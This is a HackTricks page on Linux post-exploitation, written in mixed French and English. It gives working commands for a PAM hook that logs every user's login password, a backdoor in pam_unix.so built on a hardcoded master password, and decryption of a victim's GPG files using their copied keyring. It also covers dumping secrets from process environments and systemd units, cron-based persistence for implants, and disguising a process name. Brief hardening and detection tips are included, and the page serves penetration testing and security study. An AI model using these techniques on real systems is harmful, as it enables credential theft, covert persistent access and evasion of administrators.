Linux Post-Exploitation

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Sniffing Logon Passwords with PAM

Let’s configure a PAM module to log each password each user uses to login. If you don’t know what is PAM check:

PAM - Pluggable Authentication Modules

Pour plus de détails consultez le original post. Ceci n’est qu’un résumé :

Technique Overview: Pluggable Authentication Modules (PAM) offer flexibility in managing authentication on Unix-based systems. They can enhance security by customizing login processes but also pose risks if misused. This summary outlines a technique to capture login credentials using PAM, alongside mitigation strategies.

Capturing Credentials:

  • Un script bash nommé toomanysecrets.sh est créé pour consigner les tentatives de connexion, enregistrant la date, le nom d’utilisateur ($PAM_USER), le mot de passe (via stdin), et l’IP de l’hôte distant ($PAM_RHOST) dans /var/log/toomanysecrets.log.
  • Le script est rendu exécutable et intégré dans la configuration PAM (common-auth) en utilisant le module pam_exec.so avec des options pour s’exécuter silencieusement et exposer le jeton d’authentification au script.
  • Cette approche montre comment un hôte Linux compromis peut être exploité pour consigner discrètement des identifiants.
#!/bin/sh
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
sudo touch /var/log/toomanysecrets.sh
sudo chmod 770 /var/log/toomanysecrets.sh
sudo nano /etc/pam.d/common-auth
# Add: auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh
sudo chmod 700 /usr/local/bin/toomanysecrets.sh

Backdooring PAM

Pour plus de détails consultez le original post. Ceci est juste un résumé :

Le Pluggable Authentication Module (PAM) est un système utilisé sous Linux pour l’authentification des utilisateurs. Il repose sur trois concepts principaux : nom d’utilisateur, mot de passe, et service. Les fichiers de configuration pour chaque service se trouvent dans le répertoire /etc/pam.d/, où des bibliothèques partagées gèrent l’authentification.

Objectif : Modifier PAM pour autoriser l’authentification avec un mot de passe spécifique, en contournant le mot de passe réel de l’utilisateur. La modification vise particulièrement la bibliothèque partagée pam_unix.so utilisée par le fichier common-auth, inclus par presque tous les services pour la vérification des mots de passe.

Steps for Modifying pam_unix.so:

  1. Locate the Authentication Directive in the common-auth file:
  • La ligne responsable de la vérification du mot de passe d’un utilisateur appelle pam_unix.so.
  1. Modify Source Code:
  • Ajoutez une condition dans le fichier source pam_unix_auth.c qui accorde l’accès si un mot de passe prédéfini est utilisé ; sinon, le processus d’authentification habituel est exécuté.
  1. Recompile and Replace the modified pam_unix.so library in the appropriate directory.
  2. Testing:
  • L’accès est accordé sur divers services (login, ssh, sudo, su, screensaver) avec le mot de passe prédéfini, tandis que les processus d’authentification normaux restent inchangés.

Tip

Vous pouvez automatiser ce processus avec https://github.com/zephrax/linux-pam-backdoor

Decrypting GPG loot via homedir relocation

Si vous trouvez un fichier chiffré .gpg et le dossier ~/.gnupg d’un utilisateur (pubring, private-keys, trustdb) mais que vous ne pouvez pas déchiffrer à cause des permissions/verrous du homedir GnuPG, copiez le keyring dans un emplacement accessible en écriture et utilisez-le comme homedir GPG.

Erreurs typiques que vous verrez sans cela : “unsafe ownership on homedir”, “failed to create temporary file”, ou “decryption failed: No secret key” (parce que GPG ne peut pas lire/écrire le homedir original).

Workflow:

# 1) Stage a writable homedir and copy the victim's keyring
mkdir -p /dev/shm/fakehome/.gnupg
cp -r /home/victim/.gnupg/* /dev/shm/fakehome/.gnupg/
# 2) Ensure ownership & perms are sane for gnupg
chown -R $(id -u):$(id -g) /dev/shm/fakehome/.gnupg
chmod 700 /dev/shm/fakehome/.gnupg
# 3) Decrypt using the relocated homedir (either flag works)
GNUPGHOME=/dev/shm/fakehome/.gnupg gpg -d /home/victim/backup/secrets.gpg
# or
gpg --homedir /dev/shm/fakehome/.gnupg -d /home/victim/backup/secrets.gpg

Si le matériel de clé secrète est présent dans private-keys-v1.d, GPG déverrouillera et déchiffrera sans demander de passphrase (ou il demandera si la clé est protégée).

Extraction des identifiants depuis l’environnement des processus (y compris les conteneurs)

Lorsque vous obtenez l’exécution de code dans un service, le processus hérite souvent de variables d’environnement sensibles. Celles-ci sont une mine d’or pour le mouvement latéral.

Quick wins

  • Récupérer l’environnement du processus courant : env ou printenv
  • Récupérer l’environnement d’un autre processus : tr '\0' '\n' </proc/<PID>/environ | sed -n '1,200p'
  • Ajouter strings -z /proc/<PID>/environ si tr/sed ne sont pas disponibles
  • Dans les conteneurs, vérifiez aussi le PID 1 : tr '\0' '\n' </proc/1/environ

À rechercher

  • Secrets d’application et identifiants admin (par exemple, Grafana définit GF_SECURITY_ADMIN_USER, GF_SECURITY_ADMIN_PASSWORD)
  • Clés API, URI de DB, identifiants SMTP, secrets OAuth
  • Paramètres proxy et TLS : http_proxy, https_proxy, SSL_CERT_FILE, SSL_CERT_DIR

Remarques

  • De nombreuses orchestrations transmettent des paramètres sensibles via l’environnement ; ils sont hérités par les processus enfants et exposés à tout shell arbitraire que vous lancez dans le contexte du processus.
  • Dans certains cas, ces identifiants sont réutilisés au niveau du système (par ex., même nom d’utilisateur/mot de passe valide pour SSH sur l’hôte), permettant un pivot facile.

Identifiants stockés par systemd dans les unit files (Environment=)

Les services lancés par systemd peuvent intégrer des identifiants dans les unit files sous forme d’entrées Environment=. Énumérez-les et extrayez-les :

# Unit files and drop-ins
ls -la /etc/systemd/system /lib/systemd/system
# Grep common patterns
sudo grep -R "^Environment=.*" /etc/systemd/system /lib/systemd/system 2>/dev/null | sed 's/\x00/\n/g'
# Example of a root-run web panel
# [Service]
# Environment="BASIC_AUTH_USER=root"
# Environment="BASIC_AUTH_PWD=<password>"
# ExecStart=/usr/bin/crontab-ui
# User=root

Les artefacts opérationnels leak souvent des mots de passe (par ex., des scripts de sauvegarde qui appellent zip -P <pwd>). Ces valeurs sont fréquemment réutilisées dans des interfaces web internes (Basic-Auth) ou d’autres services.

Hardening

  • Déplacez les secrets vers des magasins de secrets dédiés (systemd-ask-password, EnvironmentFile with locked perms, or external secret managers)
  • Évitez d’intégrer des identifiants dans les unit files ; privilégiez des drop-in files lisibles uniquement par root et supprimez-les du contrôle de version
  • Renouvelez les leaked passwords découverts lors des tests

Cron-based persistence with loopback mutex

  • Copiez les implants dans plusieurs chemins inscriptibles (/tmp, /var/tmp, /dev/shm, /run/lock) et installez des entrées cron telles que */5 * * * * /tmp/<bin> afin qu’ils redémarrent même s’ils sont supprimés ailleurs.
  • Enforcez single-instance execution en liant un port loopback fixe (par exemple, 127.0.0.1:51125 ou 127.0.0.1:52225) et quittez si bind() échoue ; ss -lntp | grep -E '51125|52225' révélera l’écouteur du mutex.
  • Les opérateurs peuvent tuer en masse périodiquement tout processus dont le cmdline contient le nom du dropper (ex., init_stop), donc réutiliser ces noms pendant l’analyse peut provoquer des collisions ; choisissez des noms de fichiers uniques.

Process masquerading via prctl + argv overwrite

  • Définissez le nom court du process avec prctl(PR_SET_NAME, "<label>") (limite 15-byte comm), souvent sur init, afin que /proc/<pid>/status et les GUIs affichent une étiquette bénigne.
  • Écrasez le buffer argv[0] en mémoire après avoir lu la longueur de /proc/self/cmdline et le pointeur argv[0], en complétant avec des NULs pour que /proc/<pid>/cmdline et ps affichent aussi le label factice.
  • Détectez en comparant Name: dans /proc/<pid>/status avec le chemin réel de l’exécutable et en recherchant des écouteurs de mutex loopback appartenant à des processus ayant des cmdlines très courts/vides.

References

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks